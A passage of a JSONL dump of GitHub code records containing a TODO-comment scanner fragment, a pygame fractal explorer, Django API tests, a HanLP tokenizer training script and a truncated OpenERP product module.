enumerate(comment_line_by_line,0):\n            comment_line = comment_line.lstrip()\n            index_of_keyword = comment_line.find(keyword)\n\n            # get the index of the matching word \n            # only use if the index is < 10 and > -1\n            if index_of_keyword > -1 and index_of_keyword < 10:\n                rest_of_comment = comment_line_by_line[index:]\n\n                # loop through remaining comment to locate \n                # any \"empty\" lines  \n                found = False\n                for end_index,newLine in enumerate(rest_of_comment,index):\n                    if len(newLine) == 0:\n                        # if \"empty\" line found\n                        todos.append(comment_line_by_line[index:end_index])\n                        found = True\n                        break\n                if not found:\n                    # if no \"empty\" lines found \n                    todos.append(rest_of_comment)\n\n    return todos\n\ndef merge_single_line_comments(tokens_with_lines):\n    '''\n\n    Arguments\n    ---------\n        tokens_with_lines : dict\n\n    Returns\n    -------\n        new_token_mapping: dict\n            Mapping with the adjecent lines \n    '''\n    line_numbers = sorted(tokens_with_lines.keys())\n\n    new_lines_mapping = {}\n    new_token_mapping = {}\n\n    # Build a graph mapping to the parent line number\n    for line_num in line_numbers:\n        new_lines = new_lines_mapping.keys()\n        \n        # Check for the parent line or a link to it\n        if line_num-1 in new_lines:\n            old_line = line_num-1\n            \n            # Follow the mapping to its original\n            while(old_line != new_lines_mapping[old_line]):\n                old_line = new_lines_mapping[old_line]\n            new_lines_mapping[line_num] = old_line\n        else:\n            # We are a parent, put us on the map!\n            new_lines_mapping[line_num] = line_num\n\n    # Now that the graph is built, build the array of comments\n    for line_num in line_numbers:\n        if line_num != new_lines_mapping[line_num]:\n            new_token_mapping[new_lines_mapping[line_num]].append((tokens_with_lines[line_num]))\n        else:\n            new_token_mapping[line_num] = [tokens_with_lines[line_num]]\n\n    # Merge the comments that are groupped together\n    for line_parent in new_token_mapping.keys():\n        new_token_mapping[line_parent] = \"\\n\".join(new_token_mapping[line_parent]).strip()\n\n    return new_token_mapping\n            \ndef expand_file_paths(file_names):\n\n    # grab all files and place in list\n    final_file_names = []\n\n    # loop through the directories to find files and add them to a list\n    for file_name in file_names:\n\n        if os.path.isfile(file_name):\n            final_file_names.append(file_name)\n        else:\n            for dirName, subDirectories, files in os.walk(file_name):\n                for f in files:\n                    final_file_names.append(os.path.join(dirName, f))\n    return final_file_names\n\n\ndef main():\n    args = parse_args()\n\n    file_names = expand_file_paths(args.files)\n    keywords = args.keywords\n    use_json = args.json\n\n    TODOS = []\n    \n\n    for file in file_names:\n        tokens_with_lines = get_tokens_from_file(file)\n\n\n        cleaned_up_tokens = merge_single_line_comments(tokens_with_lines)\n        for line_number in sorted(tokens_with_lines.keys()):\n            comment = tokens_with_lines[line_number]\n            \n            todos = find_Keywords(comment, keywords)\n\n            for todo in todos:\n                if len(todo) > 1:\n                    todo = \"\\n\".join(todo).strip()\n                TODOS.append(TODO(comment, file, line_number, keywords))\n\n    if use_json:\n        TODOS_JSON = []\n        for t in TODOS:\n            TODOS_JSON.append(t.__dict__())\n        todos_json = json.dumps(TODOS_JSON)\n        print(todos_json)\n    else:\n        for t in TODOS:\n            print(t)\n        for error in global_error_list:\n            print(error)\n\n\nif __name__=='__main__':\n    main()","repo_name":"masterkoppa/whatodo","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"74618391295","text":"# -*- coding: cp1252 -*-\nfrom __future__ import division\nimport pygame as g\nimport pygame\nimport math\nimport Features\nimport sys\nimport os\nimport multiprocessing\n\ng.init()\ng.display.init()\ng.font.init()\ng.key.set_repeat(500,50)\nx=g.display.Info().current_w\ny=g.display.Info().current_h\nscreenx=x\nscreeny=y\n\ndef RotatePoint(x,y,centerx,centery,degrees):\n    sin=math.sin(math.radians(degrees))\n    cos=math.cos(math.radians(degrees))\n    x=x-centerx\n    y=y-centery\n    newx=x*cos-y*sin\n    newy=x*sin+y*cos\n    newx=newx+centerx\n    newy=newy+centery\n    return (newx,newy)\n\nclass Fractal():\n    def __init__(self,screen,imaginary,real,quality,zoom,xoffset,yoffset,x,y,color,colorscheme,power=2,rotation=0):\n        self.screen=screen\n        self.imaginary=imaginary\n        self.real=real\n        self.quality=quality\n        self.zoom=zoom\n        self.xoffset=xoffset\n        self.yoffset=yoffset\n        self.x=x\n        self.y=y\n        self.bounded=0\n        self.color=color\n        self.colorscheme=colorscheme\n        self.power=power\n        self.rotation=rotation\n        \n\n    def Mandelbrot(self):\n        b=\"\"\n        for x in range(0,self.x):\n            for y in range(0,self.y):\n                imaginary=(-(y-300)/150/self.zoom)+self.yoffset\n                real=((x-300)/150/self.zoom)+self.xoffset\n                if self.rotation != 0:\n                    real,imaginary = RotatePoint(real,imaginary,self.xoffset,self.yoffset,self.rotation)\n                z=complex(self.real,self.imaginary)\n                c=complex(real,imaginary)\n                for iteration in range(0,self.quality):\n                    z=z**self.power+c\n                    lastdis=math.sqrt((z.real*z.real)+(z.imag*z.imag))\n                    if lastdis>2*self.quality:\n                        b=\"break\"\n                        self.Color(x,y,iteration,self.quality,lastdis)\n                        break\n                if b!=\"break\":\n                    self.Color(x,y,self.quality,self.quality,0)\n                else:\n                    b=\"\"\n                    \n    def Julia(self):\n        b=\"\"\n        for x in range(0,self.x):\n            for y in range(0,self.y):\n                imaginary=(-(y-300)/150/self.zoom)+self.yoffset\n                real=((x-300)/150/self.zoom)+self.xoffset\n                if self.rotation != 0:\n                    real,imaginary = RotatePoint(real,imaginary,self.xoffset,self.yoffset,self.rotation)\n                z=complex(real,imaginary)\n                c=complex(self.real,self.imaginary)\n                for iteration in range(0,self.quality):\n                    z=z**self.power+c\n                    lastdis=math.sqrt((z.real*z.real)+(z.imag*z.imag))\n                    if lastdis>2*self.quality:\n                        b=\"break\"\n                        self.Color(x,y,iteration,self.quality,lastdis)\n                        break\n                    if iteration == self.quality:\n                        self.Color(x,y,iteration,iteration,lastdis)\n                if b!=\"break\":\n                    self.Color(x,y,self.quality,self.quality,0)\n                else:\n                    b=\"\"\n                    \n    def Color(self,x,y,iteration,quality,lastdis,flip=False):\n        if lastdis!=0 and self.color==True:\n            iteration=iteration+1-math.log(math.log(lastdis))/math.log(self.power)\n        color=((quality-iteration)/quality)\n        if color > 1:\n            color = 1\n        c=self.ColorScale(color,self.colorscheme)\n        try:\n            self.screen.set_at((x,y),c)\n        except Exception as e:\n            pygame.quit()\n            sys.exit()\n        if flip==True:\n            g.display.flip()\n\n    def ColorScale(self,color,scheme):\n        if len(scheme)<2:\n            scheme=[[0,0,0],[0,0,0]]\n        if color==1:\n            return scheme[len(scheme)-1]\n        if color==0:\n            return scheme[0]\n        co=color*(len(scheme)-1)\n        c=[0,0,0]\n        cint=int(co)\n        b=co-cint\n        c[0]=(scheme[cint+1][0]-scheme[cint][0])*b+scheme[cint][0]\n        c[1]=(scheme[cint+1][1]-scheme[cint][1])*b+scheme[cint][1]\n        c[2]=(scheme[cint+1][2]-scheme[cint][2])*b+scheme[cint][2]\n        return c\n\ndef Text(screen,size,pos,color,text):\n    font=g.font.SysFont(\"arial\",size)\n    label=font.render(text,1,color)\n    screen.blit(label,pos)\n\ndef KeepActive(conn):\n    import pygame as g\n    while True:\n        g.display.update()\n        g.event.get()\n        if conn.poll==True:\n            if conn.recv()==False:\n                break\n\ndef SingleEntry(screen,string,forceFloat=True):\n    screen.fill((0,0,200))\n    Text(screen,36,(x/2-100,50),(255,255,255),\"MandaFractal\")\n    Text(screen,35,(5,200),(0,200,0),string)\n    but=Features.Button(\"Next\",150,50)\n    inbox=Features.Input(300,30,25,True)\n    but.draw(screen,450,550)\n    inbox.draw(screen,150,500)\n    g.display.flip()\n    value=0\n    while True:\n        events=g.event.get()\n        for event in events:\n            if event.type == g.QUIT:\n                g.quit()\n                sys.exit()\n        if but.update(events)==True:\n            g.display.flip()\n        if but.getClicked(events)==True or inbox.entered==True:\n            screen.fill((0,0,200))\n            if forceFloat==True:\n                return value\n            else:\n                return str(value)\n        if inbox.update(events)==True:\n            try:\n                if inbox.value!=\"-\" and forceFloat==True:\n                    float(inbox.value+\"0\")\n                    value=float(inbox.value)\n                elif forceFloat==False:\n                    value=inbox.value\n            except:\n                if forceFloat==True:\n                    inbox.changeValue(\"\")\n            g.display.flip()\n\ndef Entry(screen,string,downval,upval):\n    screen.fill((0,0,200))\n    Text(screen,36,(x/2-100,50),(255,255,255),\"MandaFractal\")\n    Text(screen,35,(5,200),(0,200,0),string)\n    slide=Features.Slider(downval,upval,300,20)\n    but=Features.Button(\"Next\",150,50)\n    inbox=Features.Input(300,30,25,True)\n    slide.draw(screen,150,400,4)\n    but.draw(screen,450,550)\n    inbox.draw(screen,150,500)\n    g.display.flip()\n    value=0\n    while True:\n        events=g.event.get()\n        for event in events:\n            if event.type == g.QUIT:\n                g.quit()\n                sys.exit()\n        if slide.update(events)==True:\n            g.display.flip()\n            value=slide.getValue()\n            inbox.changeValue(str(value))\n        if but.update(events)==True:\n            g.display.flip()\n        if but.getClicked(events)==True or inbox.entered==True:\n            screen.fill((0,0,200))\n            return value\n        if inbox.update(events)==True:\n            try:\n                if inbox.value!=\"-\":\n                    float(inbox.value)\n                    value=float(inbox.value)\n            except:\n                inbox.changeValue(\"\")\n            g.display.flip()\n\ndef Display(screen,img,real,quality,zoom,xoffset,yoffset,coloring,mandelbrot,julia):\n    Fractals=Fractal(screen,img,real,quality,zoom,xoffset,yoffset,600,600,coloring)\n    rect=g.Rect((0,0),(600,600))\n    g.draw.rect(screen,(0,0,0),rect)\n    Text(screen,50,(0,30),(0,0,255),\"Loading...\")\n    g.display.flip()\n    if mandelbrot==True:\n        Fractals.Mandelbrot()\n    elif julia==True:\n        Fractals.Julia()\n    rect=g.Rect((0,0),(600,600))\n    screenshot=g.Surface((600,600))\n    screenshot.blit(screen,rect)\n    g.display.flip()\n\ndef Gradient(scheme):\n    surf=g.Surface((300,1))\n    for x in range(0,300):\n        color=x/300\n        if len(scheme)<2:\n            scheme=[[0,0,0],[0,0,0]]\n        co=color*(len(scheme)-1)\n        c=[0,0,0]\n        cint=int(co)\n        b=co-cint\n        c[0]=(scheme[cint+1][0]-scheme[cint][0])*b+scheme[cint][0]\n        c[1]=(scheme[cint+1][1]-scheme[cint][1])*b+scheme[cint][1]\n        c[2]=(scheme[cint+1][2]-scheme[cint][2])*b+scheme[cint][2]\n        surf.set_at((x,0),c)\n    surf=g.transform.scale(surf,(300,20))\n    g.draw.rect(surf,(255,255,255),(0,0,299,20),3)\n    return surf\n    \nif __name__==\"__main__\":\n    parent,child = multiprocessing.Pipe()\n    yoffset=0\n    xoffset=0\n    lastyoffset=0\n    lastxoffset=-0.5\n    screen=g.display.set_mode((x,y),g.FULLSCREEN)\n    Text(screen,50,(0,30),(0,0,255),\"Loading...\")\n    g.display.flip()\n    Fractals=Fractal(screen,0,0,50,1,-0.5,0,600,600,True,[[0,0,0],[143,0,255],[75,0,130],[0,255,0],[255,255,0],[0,255,255]])\n    Fractals.Mandelbrot()\n    Quit = False\n    exitbut=Features.Button(\"Exit\",150,40)\n    renderbut=Features.Button(\"Render\",150,40)\n    savebut=Features.Button(\"Save\",150,40)\n    saveinput=Features.Input(200,30)\n    imaginaryslide=Features.Slider(-2,2,200,10)\n    realslide=Features.Slider(-2,2,200,10)\n    imaginaryinput=Features.Input(200,30,20,True)\n    realinput=Features.Input(200,30,20)\n    qualityinput=Features.Input(100,30)\n    zoominput=Features.Input(200,30,20)\n    xoffsetslider=Features.Slider(-2.5,2.5,200,10)\n    yoffsetslider=Features.Slider(-2.5,2.5,200,10)\n    xoffsetinput=Features.Input(200,30,20)\n    yoffsetinput=Features.Input(200,30,20)\n    powerinput=Features.Input(200,30,20)\n    fractaltype=Features.RadioBoxes(20,20,[\"mandelbrot set\",\"julia set\"])\n    coloring=Features.SelectBox(20,20,\"smooth coloring\",True)\n    redslider=Features.Slider(0,255,255,20)\n    greenslider=Features.Slider(0,255,255,20)\n    blueslider=Features.Slider(0,255,255,20)\n    addcolorbut=Features.Button(\"Add Color\",150,40)\n    resetcolorbut=Features.Button(\"Reset Colors\",150,40)\n    rotationinput=Features.Input(80,30,3)\n    exitbut.draw(screen,5,y-45)\n    renderbut.draw(screen,x-155,y-45)\n    savebut.draw(screen,x-310,y-45)\n    saveinput.draw(screen,x-520,y-35)\n    imaginaryslide.draw(screen,660,5,5,(255,255,255))\n    imaginaryinput.draw(screen,660,40);Text(screen,25,(865,40),(0,0,255),\"Imaginary Value\")\n    realslide.draw(screen,660,100,5,(255,255,255))\n    realinput.draw(screen,660,155);Text(screen,25,(865,155),(0,0,255),\"Real Value\")\n    qualityinput.draw(screen,660,215);Text(screen,25,(765,215),(0,0,255),\"Quality\")\n    zoominput.draw(screen,660,275);Text(screen,25,(865,275),(0,0,255),\"Zoom\")\n    xoffsetslider.draw(screen,660,335,5)\n    xoffsetinput.draw(screen,660,370);Text(screen,25,(865,370),(0,0,255),\"X offset\")\n    yoffsetslider.draw(screen,660,425,5)\n    yoffsetinput.draw(screen,660,460);Text(screen,25,(865,460),(0,0,255),\"Y offset\")\n    powerinput.draw(screen,660,520);Text(screen,25,(865,520),(0,0,255),\"Power\")\n    fractaltype.draw(screen,5,610)\n    coloring.draw(screen,300,610)\n    redslider.draw(screen,720,580,0,(255,0,0),(0,0,0))\n    greenslider.draw(screen,720,630,0,(0,255,0),(0,0,0))\n    blueslider.draw(screen,720,680,0,(0,0,255),(0,0,0))\n    addcolorbut.draw(screen,160,y-45)\n    resetcolorbut.draw(screen,315,y-45)\n    Text(screen,25,(350,650),(0,255,0),\"color:\")\n    rotationinput.draw(screen,5,680);Text(screen,25,(95,680),(0,0,255),\"rotation °\")\n    img,real,quality,zoom,xoffset,yoffset,color,mandelbrot,julia = [0]*9\n    mandelbrot=True\n    julia=False\n    color=True\n    justrendered=True\n    saveinput.changeValue(\"Fractal.png\")\n    realinput.changeValue(\"0.0\")\n    imaginaryinput.changeValue(\"0.0\")\n    xoffsetinput.changeValue(\"0.0\")\n    yoffsetinput.changeValue(\"0.0\")\n    qualityinput.changeValue(\"50\")\n    zoominput.changeValue(\"1.0\")\n    powerinput.changeValue(\"2\")\n    g.display.flip()\n    real=0.0\n    img=0.0\n    xoffset=0\n    yoffset=0\n    quality=50\n    zoom=1.0\n    lastxoffset=-0.5\n    lastyoffset=0\n    lastzoom=1.0\n    lastm=True\n    lastj=False\n    lastpower=2\n    lastreal=0\n    lastimg=0\n    power=2\n    paths=False\n    savename=\"Fractal.png\"\n    red=128\n    green=128\n    blue=128\n    currentcolor=(red,green,blue)\n    colorscheme=[[0,0,0],[143,0,255],[75,0,130],[0,255,0],[255,255,0],[0,255,255]]\n    lastrotation=0\n    rotation=0\n    rotationinput.changeValue(\"0\")\n    rect=g.Rect((0,0),(600,600))\n    screenshot=g.Surface((600,600))\n    screenshot.blit(screen,rect)\n    pallet=g.image.load(\"Color Pallet.png\")\n    pallet=g.transform.scale(pallet,(200,100))\n    screen.blit(pallet,(500,610))\n    g.draw.rect(screen,currentcolor,(450,650,40,40))\n    screen.blit(Gradient(colorscheme),(475,screeny-35))\n    while True:\n        events=g.event.get()\n        pygame.event.pump()\n        if exitbut.update(events)==True:\n            g.display.flip()\n            if exitbut.getClicked(events)==True:\n                g.quit()\n                sys.exit()\n        if renderbut.update(events)==True:\n            g.display.flip()\n            if renderbut.getClicked(events)==True:\n                render=True\n        if saveinput.update(events)==True:\n            g.display.flip()\n            savename=saveinput.value\n        if savebut.update(events)==True:\n            g.display.flip()\n            if savebut.getClicked(events)==True:\n                if \".\" in savename:\n                    pygame.image.save(screenshot,savename)\n                else:\n                    pygame.image.save(screenshot,savename+\".png\")\n        if imaginaryslide.update(events)==True:\n            g.display.flip()\n            img=imaginaryslide.getValue()\n            imaginaryinput.changeValue(str(img))\n        if realslide.update(events)==True:\n            g.display.flip()\n            real=realslide.getValue()\n            realinput.changeValue(str(real))\n        if imaginaryinput.update(events)==True:\n            try:\n                img=float(imaginaryinput.value)\n            except:\n                img=imaginaryslide.getValue()\n            g.display.flip()\n        if realinput.update(events)==True:\n            try:\n                real=float(realinput.value)\n            except:\n                real=realslide.getValue()\n            g.display.flip()\n        if qualityinput.update(events)==True:\n            try:\n                int(qualityinput.value+\"0\")\n                quality=int(qualityinput.value)\n            except:\n                pass\n            g.display.flip()\n        if zoominput.update(events)==True:\n            try:\n                zoom=float(zoominput.value)\n            except:\n                pass\n            g.display.flip()\n        if xoffsetslider.update(events)==True:\n            g.display.flip()\n            xoffset=xoffsetslider.getValue()\n            xoffsetinput.changeValue(str(xoffset))\n        if yoffsetslider.update(events)==True:\n            g.display.flip()\n            yoffset=yoffsetslider.getValue()\n            yoffsetinput.changeValue(str(yoffset))\n        if xoffsetinput.update(events)==True:\n            try:\n                xoffset=float(xoffsetinput.value)\n            except:\n                xoffset=xoffsetslider.getValue()\n            g.display.flip()\n        if yoffsetinput.update(events)==True:\n            try:\n                yoffset=float(yoffsetinput.value)\n            except:\n                yoffset=yoffsetslider.getValue()\n            g.display.flip()\n        if powerinput.update(events)==True:\n            try:\n                power=float(powerinput.value)\n            except:\n                pass\n            g.display.flip()\n        if True in fractaltype.update(events):\n            mandelbrot=fractaltype.getValue(0)\n            julia=fractaltype.getValue(1)\n            g.display.flip()\n        if coloring.update(events)==True:\n            color=coloring.selected\n            g.display.flip()\n        if redslider.update(events)==True:\n            red=redslider.getValue()\n            currentcolor=(red,green,blue)\n            g.draw.rect(screen,currentcolor,(450,650,40,40))\n            screen.blit(Gradient(colorscheme),(475,screeny-35))\n            g.display.flip()\n        if greenslider.update(events)==True:\n            green=greenslider.getValue()\n            currentcolor=(red,green,blue)\n            g.draw.rect(screen,currentcolor,(450,650,40,40))\n            screen.blit(Gradient(colorscheme),(475,screeny-35))\n            g.display.flip()\n        if blueslider.update(events)==True:\n            blue=blueslider.getValue()\n            currentcolor=(red,green,blue)\n            g.draw.rect(screen,currentcolor,(450,650,40,40))\n            screen.blit(Gradient(colorscheme),(475,screeny-35))\n            g.display.flip()\n        if addcolorbut.update(events)==True:\n            g.display.flip()\n            if addcolorbut.getClicked(events)==True:\n                colorscheme.append(currentcolor)\n                screen.blit(Gradient(colorscheme),(475,screeny-35))\n                g.display.flip()\n        if resetcolorbut.update(events)==True:\n            if resetcolorbut.getClicked(events)==True:\n                colorscheme=[]\n                screen.blit(Gradient(colorscheme),(475,screeny-35))\n            g.display.flip()\n            \n        if rotationinput.update(events)==True:\n            try:\n                rotation=float(rotationinput.value)\n            except:\n                pass\n            g.display.flip()\n        if justrendered==True:\n            render=False\n            justrendered=False\n        if render==True:\n            Fractals=Fractal(screen,img,real,quality,zoom,xoffset,yoffset,600,600,color,colorscheme,power,rotation)\n            rect=g.Rect((0,0),(600,600))\n            g.draw.rect(screen,(0,0,0),rect)\n            Text(screen,50,(0,30),(0,0,255),\"Loading...\")\n            g.display.flip()\n            if mandelbrot==True:\n                Fractals.Mandelbrot()\n            elif julia==True:\n                Fractals.Julia()\n            rect=g.Rect((0,0),(600,600))\n            screenshot=g.Surface((600,600))\n            screenshot.blit(screen,rect)\n            g.display.flip()\n            justrendered=True\n            lastxoffset=xoffset\n            lastyoffset=yoffset\n            lastzoom=zoom\n            lastreal=real\n            lastimg=img\n            lastm=mandelbrot\n            lastj=julia\n            lastpower=power\n            lastrotation=rotation\n        for event in events:\n            if event.type==g.MOUSEBUTTONDOWN:\n                if event.pos[0]>=0 and event.pos[0]<=600 and event.pos[1]>=0 and event.pos[1]<=600 and event.button==1:\n                    yoffset=(-(event.pos[1]-300)/150/lastzoom)+lastyoffset\n                    xoffset=((event.pos[0]-300)/150/lastzoom)+lastxoffset\n                    xoffset,yoffset = RotatePoint(xoffset,yoffset,lastxoffset,lastyoffset,lastrotation)\n                    xoffsetinput.changeValue(str(xoffset))\n                    yoffsetinput.changeValue(str(yoffset))\n                if event.pos[0]>=500 and event.pos[0]<=700 and event.pos[1]>=610 and event.pos[1]<=710 and event.button==1:\n                    currentcolor=screen.get_at((event.pos[0],event.pos[1]))\n                    g.draw.rect(screen,currentcolor,(450,650,40,40))\n                if event.pos[0]>=450 and event.pos[0]<=750 and event.pos[1]>=730 and event.pos[1]<=750 and event.button==1:\n                    currentcolor=screen.get_at((event.pos[0],event.pos[1]))\n                    g.draw.rect(screen,currentcolor,(450,650,40,40))\n                if event.button==2:\n                    if paths==False:\n                        paths=True\n                    else:\n                        paths=False\n                    screen.blit(screenshot,rect)\n                    pygame.display.flip()\n                if event.pos[0]>=0 and event.pos[0]<=600 and event.pos[1]>=0 and event.pos[1]<=600 and event.button==3:\n                    img=(-(event.pos[1]-300)/150/lastzoom)+lastyoffset\n                    real=((event.pos[0]-300)/150/lastzoom)+lastxoffset\n                    real,img = RotatePoint(real,img,lastxoffset,lastyoffset,lastrotation)\n                    realinput.changeValue(str(real))\n                    imaginaryinput.changeValue(str(img))\n                if event.pos[0]>=0 and event.pos[0]<=600 and event.pos[1]>=0 and event.pos[1]<=600 and event.button==4:\n                    screen.blit(screenshot,(0,0))\n                    s=g.Surface((600,600))\n                    new=g.Surface((600,600))\n                    s.blit(screen,(0,0),(0,0,600,600))\n                    s=g.transform.smoothscale(s,(1200,1200))\n                    new.blit(s,(0,0),(event.pos[0]*2-300,event.pos[1]*2-300,event.pos[0]*2+300,event.pos[1]*2+300))\n                    screen.blit(new,(0,0))\n                    x=event.pos[0]\n                    y=event.pos[1]\n                    yoffset=(-(y-300)/150/lastzoom)+lastyoffset\n                    xoffset=((x-300)/150/lastzoom)+lastxoffset\n                    xoffset,yoffset = RotatePoint(xoffset,yoffset,lastxoffset,lastyoffset,lastrotation)\n                    xoffsetinput.changeValue(str(xoffset))\n                    yoffsetinput.changeValue(str(yoffset))\n                    lastyoffset=yoffset\n                    lastxoffset=xoffset\n                    lastzoom=lastzoom*2\n                    zoominput.changeValue(str(lastzoom))\n                    zoom=lastzoom\n                    rect=g.Rect((0,0),(600,600))\n                    screenshot=g.Surface((600,600))\n                    screenshot.blit(screen,rect)\n                    g.display.flip()\n                if event.pos[0]>=0 and event.pos[0]<=600 and event.pos[1]>=0 and event.pos[1]<=600 and event.button==5:\n                    screen.blit(screenshot,(0,0))\n                    s=g.Surface((600,600))\n                    clear=g.Surface((600,600))\n                    clear.fill((0,0,0))\n                    s.blit(screen,(0,0),(0,0,600,600))\n                    s=g.transform.smoothscale(s,(300,300))\n                    screen.blit(clear,(0,0))\n                    screen.blit(s,(150,150))\n                    lastzoom=lastzoom/2\n                    zoominput.changeValue(str(lastzoom))\n                    zoom=lastzoom\n                    rect=g.Rect((0,0),(600,600))\n                    screenshot=g.Surface((600,600))\n                    screenshot.blit(screen,rect)\n                    g.display.flip()\n            if event.type==g.MOUSEMOTION:\n                if event.pos[0]>=0 and event.pos[0]<=600 and event.pos[1]>=0 and event.pos[1]<=600 and paths==True:\n                    #screen.blit(screenshot,rect)\n                    screencopy=screenshot.copy()\n                    Imaginary=(-(event.pos[1]-300)/150/lastzoom)+lastyoffset\n                    Real=((event.pos[0]-300)/150/lastzoom)+lastxoffset\n                    Real,Imaginary = RotatePoint(Real,Imaginary,lastxoffset,lastyoffset,lastrotation)\n                    \n                    if lastm==True:\n                        z=complex(lastreal,lastimg)\n                        c=complex(Real,Imaginary)\n                        xcoord=(Real-lastxoffset)*lastzoom*150+300\n                        ycoord=(lastyoffset-Imaginary)*lastzoom*150+300\n                        nxc,nyc = RotatePoint(xcoord,ycoord,300,300,lastrotation)\n                        for i in range(0,50):\n                            lastnxc=nxc\n                            lastnyc=nyc\n                            try:\n                                z=z**lastpower+c\n                            except OverflowError:\n                                pass\n                            x=z.real\n                            y=z.imag\n                            xcoord=(x-lastxoffset)*(lastzoom*150)+300\n                            ycoord=(lastyoffset-y)*(lastzoom*150)+300\n                            try:\n                                nxc,nyc=RotatePoint(xcoord,ycoord,300,300,lastrotation)\n                                \n                                pygame.draw.line(screencopy,(255,255,255),(nxc,nyc),(lastnxc,lastnyc))\n                            except:\n                                pass\n                        \n                    if lastj==True:\n                        z=complex(Real,Imaginary)\n                        c=complex(lastreal,lastimg)\n                        xcoord=(Real-lastxoffset)*lastzoom*150+300\n                        ycoord=(lastyoffset-Imaginary)*lastzoom*150+300\n                        nxc,nyc = RotatePoint(xcoord,ycoord,300,300,lastrotation)\n                        for i in range(0,50):\n                            lastnxc=nxc\n                            lastnyc=nyc\n                            try:\n                                z=z**lastpower+c\n                            except OverflowError:\n                                pass\n                            x=z.real\n                            y=z.imag\n                            xcoord=(x-lastxoffset)*(lastzoom*150)+300\n                            ycoord=(lastyoffset-y)*(lastzoom*150)+300\n                            try:\n                                nxc,nyc=RotatePoint(xcoord,ycoord,300,300,lastrotation)\n                                \n                                pygame.draw.line(screencopy,(255,255,255),(nxc,nyc),(lastnxc,lastnyc))\n                            except:\n                                pass\n                    screen.blit(screencopy,rect)\n                    pygame.display.flip()\n","repo_name":"been-jamming/MandaFractal","sub_path":"Manda5.py","file_name":"Manda5.py","file_ext":"py","file_size_in_byte":24916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"24430197486","text":"from django.test import TestCase\nfrom rest_framework import status\nfrom rest_framework.test import APIRequestFactory, force_authenticate, APIClient\n\nfrom users.models import User\n\nfrom .views import ProjectModelViewSet, ToDoModelViewSet\nfrom .models import Project, ToDo\n\n\nclass TestProjectViewSet(TestCase):\n\n    def test_get_list(self):\n        factory = APIRequestFactory()\n        request = factory.get('/api/projects/')\n        view = ProjectModelViewSet.as_view({'get': 'list'})\n        response = view(request)\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n    def test_get_detail(self):\n        project = Project.objects.create(name='Test', repository_link='test.py')\n        client = APIClient()\n        response = client.get(f'/api/projects/{project.id}/')\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n    def test_edit_admin(self):\n        project = Project.objects.create(name='Test', repository_link='test.py', user='Hello')\n        client = APIClient()\n        user = User.objects.create_superuser('admin', 'admin@admin.com', 'admin123456')\n        client.login(username='admin', password='admin123456')\n        response = client.put(f'/api/projects/{project.id}/',\n                              {'name': 'hello', 'repository_link': 'hello.com', 'user': 'testtest'})\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        project = Project.objects.get(id=project.id)\n        self.assertEqual(project.name, 'hello')\n        self.assertEqual(project.repository_link, 'hello.com')\n        client.logout()\n","repo_name":"nickwild77/todolist","sub_path":"TODO/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"8050507803","text":"# -*- coding:utf-8 -*-\n# Author: hankcs\n# Date: 2019-12-21 15:39\nfrom hanlp.components.tok import TransformerTokenizer\nfrom hanlp.datasets.cws.ctb import CTB6_CWS_VALID, CTB6_CWS_TEST\nfrom tests import cdroot\n\ncdroot()\ntokenizer = TransformerTokenizer()\nsave_dir = 'data/model/cws_bert_base_100million'\ntokenizer.fit('data/cws/large/all.txt', CTB6_CWS_VALID, save_dir, transformer='bert-base-chinese',\n              metrics='accuracy', batch_size=32)\ntokenizer.load(save_dir, metrics='f1')\nprint(tokenizer.predict(['中央民族乐团离开北京前往维也纳', '商品和服务']))\ntokenizer.evaluate(CTB6_CWS_TEST, save_dir=save_dir)\nprint(f'Model saved in {save_dir}')\n","repo_name":"zoopaper/HanLP","sub_path":"tests/train/zh/cws/train_large_bert_cws.py","file_name":"train_large_bert_cws.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"11545912556","text":"from openerp.osv import osv, fields\nfrom openerp import SUPERUSER_ID\n\nclass product_product(osv.osv):\n    _inherit = 'product.product'\n\n    def _primary_bin_location_id(self, cr, uid, ids, field_name, args, context=None):\n        res = {}\n        products = self.browse(cr, uid, ids, context=context)\n        curr_company = self.pool.get(\"res.users\").browse(cr, uid, uid, context=context).company_id\n\n        for product in products:\n            location_id = None\n\n            for bin in product.multi_bin_ids:\n                if bin.storage_type != 'primary':\n                    continue\n\n                if bin.location_id.calculated_company_id.id == curr_company.id or not location_id:\n                    location_id = bin.location_id.id\n\n            res[product.id] = location_id\n\n        return res\n\n    def _multi_bin_ids(self, cr, uid, ids, field, arg, context=None):\n        location_ids = list(set(super(product_product, self).get_location_ids(cr, uid, ids, context=context)))\n        bin_pool = self.pool.get('product.bin.location.info')\n\n        bins = bin_pool.read(\n            cr, SUPERUSER_ID, bin_pool.search(\n                cr, SUPERUSER_ID, [('product_id', 'in', ids), ('location_id', 'child_of', location_ids)], context=context\n            ), ['id', 'product_id'], context=context)\n\n        res = dict([(prod_id, []) for prod_id in ids])\n\n        for bin in bins:\n            res[bin['product_id'][0]].append(bin['id'])\n\n        return res\n\n    def _inventory_lines(self, cr, uid, ids, field, arg, context=None):\n        line_pool = self.pool.get('stock.inventory.line')\n\n        return dict([(prod_id, line_pool.search(\n            cr, uid, [('product_id', 'in', [prod_id]),\n                      ('location_id', 'in', self.get_location_ids(cr, uid, [prod_id], context=context))],\n            context=context)) for prod_id in ids])\n\n    _columns = {\n        'primary_bin_location_id': fields.function(\n            _primary_bin_location_id, type='many2one', readonly=True, relation=\"stock.location\", string=\"Bin\", method=True\n        ),\n        'multi_bin_ids': fields.function(_multi_bin_ids, type=\"one2many\",\n                                         obj='product.bin.location.info', method=True, string='Product Bins'),\n        'inventory_lines': fields.function(_inventory_lines, type=\"one2many\", obj='stock.inventory.line',\n                                           method=True, string='Inventory Lines'),\n        'default_code':  fields.char('Reference', size=64, required=True)\n    }\n    \n    def _check_storage_type(self, cr, uid, ids, context=None):\n        product_ids = self.browse(cr, uid, ids, context=context)\n        for product_id in product_ids:\n            primary = False\n            